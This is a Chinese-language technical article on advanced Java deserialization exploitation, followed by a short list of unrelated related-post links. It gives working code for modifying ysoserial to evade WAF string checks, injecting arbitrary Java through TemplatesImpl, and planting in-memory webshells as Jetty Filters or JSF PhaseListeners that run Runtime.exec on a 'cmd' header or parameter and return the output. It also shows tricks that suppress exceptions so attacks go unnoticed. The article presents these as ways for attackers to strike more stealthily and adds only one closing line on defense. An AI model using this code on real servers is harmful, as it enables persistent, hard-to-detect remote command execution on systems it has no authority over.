Java反序列化漏洞利用进阶:绕过WAF和EDR,实现隐蔽攻击

这篇文章主要讲解在Java反序列化漏洞利用中,当已经找到一条可以实现远程代码执行(RCE)的Gadget Chain后,如何更加隐蔽地进行攻击,主要包括以下几个方面:

  1. 绕过简单的WAF(Web应用防火墙)
  2. 运行时注入自定义类
  3. 利用ThreadLocal绕过数据过滤
  4. 劫持HTTP请求流程
  5. 使Gadget Chain更加隐蔽

绕过简单的WAF

原理

一些简单的WAF会通过检测序列化数据中是否包含特定的字符串(如"Runtime", "Process", "exec", "shell", "ysoserial"等)来判断是否存在攻击。

绕过方法

  • 重命名类名和包名: 修改ysoserial等Gadget Chain生成工具的源代码,重新编译,避免使用默认的类名和包名。
  • 避免直接调用敏感方法: 不要直接使用Runtime.getRuntime().exec("whoami")这样的代码,可以尝试其他方式实现相同的功能。
  • 修改ysoserial中的字符串: ysoserial在生成类名时会使用"ysoserial.Pwner" + System.nanoTime()这样的字符串,可以修改这些字符串,避免被WAF检测到。

示例

修改ysoserial源码,将clazz.setName("ysoserial.Pwner" + System.nanoTime());改为clazz.setName("MyClass" + System.nanoTime());,将Reflections.setFieldValue(templates, "_name", "Pwnr");改为Reflections.setFieldValue(templates, "_name", "MyName");

运行时注入自定义类

原理

传统的RCE Payload直接执行系统命令,容易被EDR(Endpoint Detection and Response)检测到。一种更隐蔽的方法是,只在运行时注入Java代码,利用服务器已有的类和方法来实现攻击目的,例如读写文件、访问内部服务等。

方法

  • 修改ysoserial的Gadgets类: 修改createTemplatesImpl方法,使其可以接受Java代码作为参数,而不是直接执行命令。
  • 利用TemplatesImpl定义多个类: TemplatesImpl类可以用来定义多个类,这样可以实现更复杂的功能,例如实现特定的接口,与服务器上的其他类进行交互。
  • 从JAR文件导入类: 通过修改ysoserial的Gadgets类,可以实现从JAR文件导入类的功能,这样可以将自定义的类打包成JAR文件,然后在运行时注入到服务器。

示例

修改Gadgets类,接受Java代码:

java 复制代码
public static <T> T createTemplatesImpl (final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
    final T templates = tplClass.newInstance();
    // ...
    clazz.makeClassInitializer().insertAfter(code);
    // ...
}

调用示例:

java 复制代码
String code = "java.io.File file = new java.io.File(\"/tmp/test.txt\");" +
              "java.io.FileWriter writer = new java.io.FileWriter(file);" +
              "writer.write(\"Hello, world!\");" +
              "writer.close();";
Object templates = Gadgets.createTemplatesImpl(code, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

利用ThreadLocal绕过数据过滤

原理

在某些情况下,服务器可能会对请求或响应中的数据进行过滤,导致无法直接传递Payload或获取数据。可以利用ThreadLocal来访问当前线程的上下文信息,获取HTTP请求和响应对象,从而绕过这些限制。

方法

  • 分析ThreadLocal: 通过反射API,可以获取当前线程中存储的ThreadLocalMap,并遍历其中的Entry,找到与Web应用相关的对象,例如FacesContextImpl(Javax Faces)或ServletRequestAttributes(Spring)。
  • 获取请求和响应对象: 从ThreadLocal中获取的Web应用对象中,可以获取HttpServletRequest和HttpServletResponse对象,从而读取请求参数、设置响应内容。

示例

获取Javax Faces中的请求和响应对象:

java 复制代码
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest());
String param = req.getParameter("param");

HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
resp.getWriter().write("Result: " + param);

获取Spring中的请求和响应对象:

java 复制代码
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder.currentRequestAttributes();
String param = reqAttributes.getRequest().getParameter("param");

PrintWriter writer = reqAttributes.getResponse().getWriter();
writer.println("Result: " + param);
writer.flush();

劫持HTTP请求流程

原理

通过在运行时注册Filter(Jetty/Tomcat)或PhaseListener(Faces),可以拦截HTTP请求,实现持久化控制或执行恶意代码。

方法

  • Jetty/Tomcat: 通过WebAppContext获取ServletContext,然后注册自定义的Filter,拦截特定URL的请求。
  • Faces: 注册自定义的PhaseListener,在特定的Phase(例如RENDER_RESPONSE)执行恶意代码。

示例

在Jetty中注册Filter:

java 复制代码
WebAppContext.Context ctx = (WebAppContext.Context) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

appCtx.addFilter(new FilterHolder(new Filter() {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(((HttpServletRequest) servletRequest).getHeader("cmd") != null) {
            String cmd = ((HttpServletRequest) servletRequest).getHeader("cmd");
            String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            servletResponse.getWriter().write(result);
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));

在Faces中注册PhaseListener:

java 复制代码
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);

applicationLifecycle.addPhaseListener(new PhaseListener() {
    @Override
    public void afterPhase(PhaseEvent phaseEvent) {
        try {
            HttpServletRequest req = (HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest();
            if (req.getParameter("cmd") != null) {
                String cmd = req.getParameter("cmd");
                String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
                resp.getWriter().write(result);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void beforePhase(PhaseEvent phaseEvent) {}

    @Override
    public PhaseId getPhaseId() {
        return PhaseId.RENDER_RESPONSE;
    }
});

使Gadget Chain更加隐蔽

原理

在反序列化过程中,如果Gadget Chain的构造不当,可能会抛出异常,从而暴露攻击行为。为了使攻击更加隐蔽,需要深入理解Gadget Chain的代码流程,避免抛出异常。

方法

  • 处理Translet异常: 在使用Translet相关的Gadget Chain时,可能会抛出NullPointerException,可以通过初始化namesArray字段或设置transletVersion字段来避免。
  • 处理CommonsCollections异常: 在使用CommonsCollections相关的Gadget Chain时,可能会因为Transformer Chain的返回值不是Comparable类型而抛出异常,可以通过在Chain的末尾添加ConstantTransformer("")来避免。
  • 处理CommonsBeanutils1异常: 在使用CommonsBeanutils1 Gadget Chain时,可能会因为getOutputProperties方法返回的对象不是Comparable类型而抛出异常,可以通过使用NullComparator来避免。
  • 将Gadget Chain封装在真实对象中: 如果应用程序期望接收特定类型的对象,可以将Gadget Chain封装在该类型的对象中,避免应用程序抛出类型转换异常。

示例

处理Translet异常:

java 复制代码
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");

处理CommonsCollections异常:

java 复制代码
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    transformer,
    new ConstantTransformer("")
});

处理CommonsBeanutils1异常:

java 复制代码
Constructor<?> nullComparatorConstructor = Reflections.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor.newInstance(true, null);
BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);

总结

本文介绍了一些高级的Java反序列化漏洞利用技巧,包括绕过WAF和EDR、运行时注入自定义类、利用ThreadLocal绕过数据过滤、劫持HTTP请求流程、使Gadget Chain更加隐蔽等。这些技巧可以帮助攻击者更加隐蔽地进行攻击,但也提醒我们,需要不断加强安全防护,及时修补漏洞,才能有效地保护系统安全。

相关推荐
小小工匠34 分钟前
架构思维:高性能架构_01基础概念
架构·基础概念·高性能架构
MZWeiei40 分钟前
Scala:case class(通俗易懂版)
开发语言·后端·scala
小杨4041 小时前
springboot框架项目实践应用三(监控运维组件admin)
spring boot·后端·监控
sevevty-seven3 小时前
Spring Boot 自动装配原理详解
java·spring boot·后端
lamdaxu3 小时前
分布式调用(02)
后端
daiyunchao3 小时前
让Pomelo支持HTTP协议
后端
桂月二二3 小时前
基于WebAssembly的云原生运行时:重新定义轻量化微服务架构
云原生·架构·wasm
芒猿君4 小时前
AQS——同步器框架之源
后端
SaebaRyo4 小时前
手把手教你在网站中启用https和http2
后端·nginx·https